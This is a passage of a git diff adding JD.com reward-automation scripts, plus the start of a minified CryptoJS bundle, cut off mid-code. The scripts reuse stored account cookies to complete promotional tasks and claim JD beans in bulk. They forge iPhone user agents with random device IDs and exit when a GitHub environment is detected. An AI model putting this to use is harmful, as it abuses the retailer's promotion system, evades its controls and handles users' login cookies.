process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + await getUA(); + $.index = i + 1; + $.cookie = cookiesArr[i]; + $.isLogin = true; + $.nickName = ''; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + await TotalBean(); + console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await main(); + await $.wait(1000); + } +})().catch((e) => {$.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '')}).finally(() => {$.done();}); + +async function main() { + $.activityInfo = {}; + await takePostRequest('index'); + if(JSON.stringify($.activityInfo) === '{}'){ + console.log(`获取活动详情失败`); + return ; + } + await $.wait(500); + await doTask(); +} + +async function doTask(){ + if($.activityInfo.tasksList && $.activityInfo.tasksList.length > 0){ + $.tasksList = $.activityInfo.tasksList; + for (let i = 0; i < $.tasksList.length; i++) { + $.oneTask = $.tasksList[i]; + if($.oneTask.finishNum === 1){ + console.log(`任务:${$.oneTask.taskName},已完成`); + continue; + } + console.log(`任务:${$.oneTask.taskName},去执行`); + await takePostRequest('doTask'); + if($.hotFlag){break;} + await $.wait(5000); + await takePostRequest('getReward'); + await $.wait(500); + } + } +} + +async function takePostRequest(type){ + let body = ''; + switch (type) { + case 'index': + body = `appid=anniversary-celebra&functionId=jd_interaction_prod&body={"apiMapping":"/api/index/index"}&t=${Date.now()}&loginType=2`; + break; + case 'doTask': + body = `appid=anniversary-celebra&functionId=jd_interaction_prod&body={"parentId":"${$.oneTask.parentId}","taskId":"${$.oneTask.taskId}","apiMapping":"/api/task/doTask"}&t=${Date.now()}&loginType=2` + break; + case 'getReward': + body = `appid=anniversary-celebra&functionId=jd_interaction_prod&body={"parentId":"${$.oneTask.parentId}","taskId":"${$.oneTask.taskId}","timeStamp":${$.timeStamp},"apiMapping":"/api/task/getReward"}&t=${Date.now()}&loginType=2`; + break; + default: + console.log(`错误${type}`); + } + let myRequest = getPostRequest(body); + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + if(data){ + dealReturn(type, data); + }else{ + console.log(`返回空`) + } + } catch (e) { + console.log(data); + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function dealReturn(type, data) { + try { + data = JSON.parse(data); + }catch (e) { + console.log(`执行任务异常`); + console.log(data); + $.runFalag = false; + } + switch (type) { + case 'index': + if(data && data.code === 200){ + $.activityInfo = data.data; + } + break; + case 'doTask': + if(data && data.code === 200){ + $.timeStamp = data.data.timeStamp; + }else{ + $.hotFlag = true; + console.log(JSON.stringify(data)); + } + break; + case 'getReward': + if(data && data.code === 200){ + console.log(`执行成功,获得京豆:${data.data.jbean || 0}`) + }else{ + console.log(JSON.stringify(data)); + } + break; + default: + console.log(JSON.stringify(data)); + } +} +function getPostRequest(body) { + let url = `https://api.m.jd.com/api`; + const headers = { + 'Accept' : `application/json, text/plain, */*`, + 'Origin' : `https://welfare.m.jd.com`, + 'Accept-Encoding' : `gzip, deflate, br`, + 'Cookie': $.cookie, + 'Content-Type' : `application/x-www-form-urlencoded`, + 'Host' : `api.m.jd.com`, + 'Connection' : `keep-alive`, + 'User-Agent':$.UA, + 'Referer' : `https://welfare.m.jd.com/`, + 'Accept-Language' : `zh-cn` + }; + return {url: url, headers: headers,body:body}; +} +async function getUA(){ + $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/3364463029;appBuild/167764;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": $.cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_bean_change.js b/backUp/jd_bean_change.js new file mode 100644 index 0000000..6fae2b7 --- /dev/null +++ b/backUp/jd_bean_change.js @@ -0,0 +1,2446 @@ +/* +cron "30 21 * * *" jd_bean_change.js, tag:资产变化强化版by-ccwav + */ + +//详细说明参考 https://github.com/ccwav/QLScript2. + +// prettier-ignore +!function (t, e) { "object" == typeof exports ? module.exports = exports = e() : "function" == typeof define && define.amd ? define([], e) : t.CryptoJS = e() }(this, function () { var h, t, e, r, i, n, f, o, s, c, a, l, d, m, x, b, H, z, A, u, p, _, v, y, g, B, w, k, S, C, D, E, R, M, F, P, W, O, I, U, K, X, L, j, N, T, q, Z, V, G, J, $, Q, Y, tt, et, rt, it, nt, ot, st, ct, at, ht, lt, ft, dt, ut, pt, _t, vt, yt, gt, Bt, wt, kt, St, bt = bt || function (l) { var t; if ("undefined" != typeof window && window.crypto && (t = window.crypto), !t && "undefined" != typeof window && window.msCrypto && (t = window.msCrypto), !t && "undefined" != typeof global && global.crypto && (t = global.crypto), !t && "function" == typeof require) try { t = require("crypto") } catch (t) { } function i() { if (t) { if ("function" == typeof t.getRandomValues) try { return t.getRandomValues(new Uint32Array(1))[0] } catch (t) { } if ("function" == typeof t.randomBytes) try { return t.randomBytes(4).readInt32LE() } catch (t) { } } throw new Error("Native crypto module could not be used to get secure random number.") } var r = Object.create || function (t) { var e; return n.prototype = t, e = new n, n.prototype = null, e }; function n() { } var e = {}, o = e.lib = {}, s = o.Base = { extend: function (t) { var e = r(this); return t && e.mixIn(t), e.hasOwnProperty("init") && this.init !== e.init || (e.init = function () { e.$super.init.apply(this, arguments) }), (e.init.prototype = e).$super = this, e }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var e in t) t.hasOwnProperty(e) && (this[e] = t[e]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } }, f = o.WordArray = s.extend({ init: function (t, e) { t = this.words = t || [], this.sigBytes = null != e ? e : 4 * t.length }, toString: function (t) { return (t || a).stringify(this) }, concat: function (t) { var e = this.words, r = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255; e[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (o = 0; o < n; o += 4)e[i + o >>> 2] = r[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var t = this.words, e = this.sigBytes; t[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, t.length = l.ceil(e / 4) }, clone: function () { var t = s.clone.call(this); return t.words = this.words.slice(0), t }, random: function (t) { for (var e = [], r = 0; r < t; r += 4)e.push(i()); return new f.init(e, t) } }), c = e.enc = {}, a = c.Hex = { stringify: function (t) { for (var e = t.words, r = t.sigBytes, i = [], n = 0; n < r; n++) { var o = e[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var e = t.length, r = [], i = 0; i < e; i += 2)r[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new f.init(r, e / 2) } }, h = c.Latin1 = { stringify: function (t) { for (var e = t.words, r = t.sigBytes, i = [], n = 0; n < r; n++) { var o = e[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var e = t.length, r = [], i = 0; i < e; i++)r[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new f.init(r, e) } }, d = c.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, u = o.BufferedBlockAlgorithm = s.extend({ reset: function () { this._data = new f.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = d.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (t) { var e, r = this._data, i = r.words, n = r.sigBytes, o = this.blockSize, s = n / (4 * o), c = (s = t ? l.ceil(s) : l.max((0 | s) - this._minBufferSize, 0)) * o, a = l.min(4 * c, n); if (c) { for (var h = 0; h < c; h += o)this._doProcessBlock(i, h); e = i.splice(0, c), r.sigBytes -= a } return new f.init(e, a) }, clone: function () { var t = s.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), p = (o.Hasher = u.extend({ cfg: s.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { u.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { return t && this._append(t), this._doFinalize() }, blockSize: 16, _createHelper: function (r) { return function (t, e) { return new r.init(e).finalize(t) } }, _createHmacHelper: function (r) { return function (t, e) { return new p.HMAC.init(r, e).finalize(t) } } }), e.algo = {}); return e }(Math); function mt(t, e, r) { return t ^ e ^ r } function xt(t, e, r) { return t & e | ~t & r } function Ht(t, e, r) { return (t | ~e) ^ r } function zt(t, e, r) { return t & r | e & ~r } function At(t, e, r) { return t ^ (e | ~r) } function Ct(t, e) { return t << e | t >>> 32 - e } function Dt(t, e, r, i) { var n, o = this._iv; o ? (n = o.slice(0), this._iv = void 0) : n = this._prevBlock, i.encryptBlock(n, 0); for (var s = 0; s < r; s++)t[e + s] ^= n[s] } function Et(t) { if (255 == (t >> 24 & 255)) { var e = t >> 16 & 255, r = t >> 8 & 255, i = 255 & t; 255 === e ? (e = 0, 255 === r ? (r = 0, 255 === i ? i = 0 : ++i) : ++r) : ++e, t = 0, t += e << 16, t += r << 8, t += i } else t += 1 << 24; return t } function Rt() { for (var t = this._X, e = this._C, r = 0; r < 8; r++)ft[r] = e[r]; e[0] = e[0] + 1295307597 + this._b | 0, e[1] = e[1] + 3545052371 + (e[0] >>> 0 < ft[0] >>> 0 ? 1 : 0) | 0, e[2] = e[2] + 886263092 + (e[1] >>> 0 < ft[1] >>> 0 ? 1 : 0) | 0, e[3] = e[3] + 1295307597 + (e[2] >>> 0 < ft[2] >>> 0 ? 1 : 0) | 0, e[4] = e[4] + 3545052371 + (e[3] >>> 0 < ft[3] >>> 0 ? 1 : 0) | 0, e[5] = e[5] + 886263092 + (e[4] >>> 0 < ft[4] >>> 0 ? 1 : 0) | 0, e[6] = e[6] + 1295307597 + (e[5] >>> 0 < ft[5] >>> 0 ? 1 : 0) | 0, e[7] = e[7] + 3545052371 + (e[6] >>> 0 < ft[6] >>> 0 ? 1 : 0) | 0, this._b = e[7] >>> 0 < ft[7] >>> 0 ? 1 : 0; for (r = 0; r < 8; r++) { var i = t[r] + e[r], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, c = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); dt[r] = s ^ c } t[0] = dt[0] + (dt[7] << 16 | dt[7] >>> 16) + (dt[6] << 16 | dt[6] >>> 16) | 0, t[1] = dt[1] + (dt[0] << 8 | dt[0] >>> 24) + dt[7] | 0, t[2] = dt[2] + (dt[1] << 16 | dt[1] >>> 16) + (dt[0] << 16 | dt[0] >>> 16) | 0, t[3] = dt[3] + (dt[2] << 8 | dt[2] >>> 24) + dt[1] | 0, t[4] = dt[4] + (dt[3] << 16 | dt[3] >>> 16) + (dt[2] << 16 | dt[2] >>> 16) | 0, t[5] = dt[5] + (dt[4] << 8 | dt[4] >>> 24) + dt[3] | 0, t[6] = dt[6] + (dt[5] << 16 | dt[5] >>> 16) + (dt[4] << 16 | dt[4] >>> 16) | 0, t[7] = dt[7] + (dt[6] << 8 | dt[6] >>> 24) + dt[5] | 0 } function Mt() { for (var t = this._X, e = this._C, r = 0; r < 8; r++)wt[r] = e[r]; e[0] = e[0] + 1295307597 + this._b | 0, e[1] = e[1] + 3545052371 + (e[0] >>> 0 < wt[0] >>> 0 ? 1 : 0) | 0, e[2] = e[2] + 886263092 + (e[1] >>> 0 < wt[1] >>> 0 ? 1 : 0) | 0, e[3] = e[3] + 1295307597 + (e[2] >>> 0 < wt[2] >>> 0 ? 1 : 0) | 0, e[4] = e[4] + 3545052371 + (e[3] >>> 0 < wt[3] >>> 0 ? 1 : 0) | 0, e[5] = e[5] + 886263092 + (e[4] >>> 0 < wt[4] >>> 0 ? 1 : 0) | 0, e[6] = e[6] + 1295307597 + (e[5] >>> 0 < wt[5] >>> 0 ? 1 : 0) | 0, e[7] = e[7] + 3545052371 + (e[6] >>> 0 < wt[6] >>> 0 ? 1 : 0) | 0, this._b = e[7] >>> 0 < wt[7] >>> 0 ? 1 : 0; for (r = 0; r < 8; r++) { var i = t[r] + e[r], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, c = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); kt[r] = s ^ c } t[0] = kt[0] + (kt[7] << 16 | kt[7] >>> 16) + (kt[6] << 16 | kt[6] >>> 16) | 0, t[1] = kt[1] + (kt[0] << 8 | kt[0] >>> 24) + kt[7] | 0, t[2] = kt[2] + (kt[1] << 16 | kt[1] >>> 16) + (kt[0] << 16 | kt[0] >>> 16) | 0, t[3] = kt[3] + (kt[2] << 8 | kt[2] >>> 24) + kt[1] | 0, t[4] = kt[4] + (kt[3] << 16 | kt[3] >>> 16) + (kt[2] << 16 | kt[2] >>> 16) | 0, t[5] = kt[5] + (kt[4] << 8 | kt[4] >>> 24) + kt[3] | 0, t[6] = kt[6] + (kt[5] << 16 | kt[5] >>> 16) + (kt[4] << 16 | kt[4] >>> 16) | 0, t[7] = kt[7] + (kt[6] << 8 | kt[6] >>> 24) + kt[5] | 0 } return h = bt.lib.WordArray, bt.enc.Base64 = { stringify: function (t) { var e = t.words, r = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < r; o += 3)for (var s = (e[o >>> 2] >>> 24 - o % 4 * 8 & 255) << 16 | (e[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255) << 8 | e[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, c = 0; c < 4 && o + .75 * c < r; c++)n.push(i.charAt(s >>> 6 * (3 - c) & 63)); var a = i.charAt(64); if (a) for (; n.length % 4;)n.push(a); return n.join("") }, parse: function (t) { var e = t.length, r = this._map, i = this._reverseMap; if (!i) { i = this._reverseMap = []; for (var n = 0; n < r.length; n++)i[r.charCodeAt(n)] = n } var o = r.charAt(64); if (o) { var s = t.indexOf(o); -1 !== s && (e = s) } return function (t, e, r) { for (var i = [], n = 0, o = 0; o < e; o++)if (o % 4) { var s = r[t.charCodeAt(o - 1)] << o % 4 * 2, c = r[t.charCodeAt(o)] >>> 6 - o % 4 * 2, a = s | c; i[n >>> 2] |= a << 24 - n % 4 * 8, n++ } return h.create(i, n) }(t, e, i) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" }, function (l) { var t = bt, e = t.lib, r = e.WordArray, i = e.Hasher, n = t.algo, H = []; !function () { for (var t = 0; t < 64; t++)H[t] = 4294967296 * l.abs(l.sin(t + 1)) | 0 }(); var o = n.MD5 = i.extend({ _doReset: function () { this._hash = new r.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, e) { for (var r = 0; r < 16; r++) { var i = e + r, n = t[i]; t[i] = 16711935 & (n << 8 | n >>> 24) | 4278255360 & (n << 24 | n >>> 8) } var o = this._hash.words, s = t[e + 0], c = t[e + 1], a = t[e + 2], h = t[e + 3], l = t[e + 4], f = t[e + 5], d = t[e + 6], u = t[e + 7], p = t[e + 8], _ = t[e + 9], v = t[e + 10], y = t[e + 11], g = t[e + 12], B = t[e + 13], w = t[e + 14], k = t[e + 15], S = o[0], m = o[1], x = o[2], b = o[3]; S = z(S, m, x, b, s, 7, H[0]), b = z(b, S, m, x, c, 12, H[1]), x = z(x, b, S, m, a, 17, H[2]), m = z(m, x, b, S, h, 22, H[3]), S = z(S, m, x, b, l, 7, H[4]), b = z(b, S, m, x, f, 12, H[5]), x = z(x, b, S, m, d, 17, H[6]), m = z(m, x, b, S, u, 22, H[7]), S = z(S, m, x, b, p, 7, H[8]), b = z(b, S, m, x, _, 12, H[9]), x = z(x, b, S, m, v, 17, H[10]), m = z(m, x, b, S, y, 22, H[11]), S = z(S, m, x, b, g, 7, H[12]), b = z(b, S, m, x, B, 12, H[13]), x = z(x, b, S, m, w, 17, H[14]), S = A(S, m = z(m, x, b, S, k, 22, H[15]), x, b, c, 5, H[16]), b = A(b, S, m, x, d, 9, H[17]), x = A(x, b, S, m, y, 14, H[18]), m = A(m, x, b, S, s, 20, H[19]), S = A(S, m, x, b, f, 5, H[20]), b = A(b, S, m, x, v, 9, H[21]), x = A(x, b, S, m, k, 14, H[22]), m = A(m, x, b, S, l, 20, H[23]), S = A(S, m, x, b, _, 5, H[24]), b = A(b, S, m, x, w, 9, H[25]), x = A(x, b, S, m, h, 14, H[26]), m = A(m, x, b, S, p, 20, H[27]), S = A(S, m, x, b, B, 5, H[28]), b = A(b, S, m, x, a, 9, H[29]), x = A(x, b, S, m, u, 14, H[30]), S = C(S, m = A(m, x, b, S, g, 20, H[31]), x, b, f, 4, H[32]), b = C(b, S, m, x, p, 11, H[33]), x = C(x, b, S, m, y, 16, H[34]), m = C(m, x, b, S, w, 23, H[35]), S = C(S, m, x, b, c, 4, H[36]), b = C(b, S, m, x, l, 11, H[37]), x = C(x, b, S, m, u, 16, H[38]), m = C(m, x, b, S, v, 23, H[39]), S = C(S, m, x, b, B, 4, H[40]), b = C(b, S, m, x, s, 11, H[41]), x = C(x, b, S, m, h, 16, H[42]), m = C(m, x, b, S, d, 23, H[43]), S = C(S, m, x, b, _, 4, H[44]), b = C(b, S, m, x, g, 11, H[45]), x = C(x, b, S, m, k, 16, H[46]), S = D(S, m = C(m, x, b, S, a, 23, H[47]), x, b, s, 6, H[48]), b = D(b, S, m, x, u, 10, H[49]), x = D(x, b, S, m, w, 15, H[50]), m = D(m, x, b, S, f, 21, H[51]), S = D(S, m, x, b, g, 6, H[52]), b = D(b, S, m, x, h, 10, H[53]), x = D(x, b, S, m, v, 15, H[54]), m = D(m, x, b, S, c, 21, H[55]), S = D(S, m, x, b, p, 6, H[56]), b = D(b, S, m, x, k, 10, H[57]), x = D(x, b, S, m, d, 15, H[58]), m = D(m, x, b, S, B, 21, H[59]), S = D(S, m, x, b, l, 6, H[60]), b = D(b, S, m, x, y, 10, H[61]), x = D(x, b, S, m, a, 15, H[62]), m = D(m, x, b, S, _, 21, H[63]), o[0] = o[0] + S | 0, o[1] = o[1] + m | 0, o[2] = o[2] + x | 0, o[3] = o[3] + b | 0 }, _doFinalize: function () { var t = this._data, e = t.words, r = 8 * this._nDataBytes, i = 8 * t.sigBytes; e[i >>> 5] |= 128 << 24 - i % 32; var n = l.floor(r / 4294967296), o = r; e[15 + (64 + i >>> 9 << 4)] = 16711935 & (n << 8 | n >>> 24) | 4278255360 & (n << 24 | n >>> 8), e[14 + (64 + i >>> 9 << 4)] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var s = 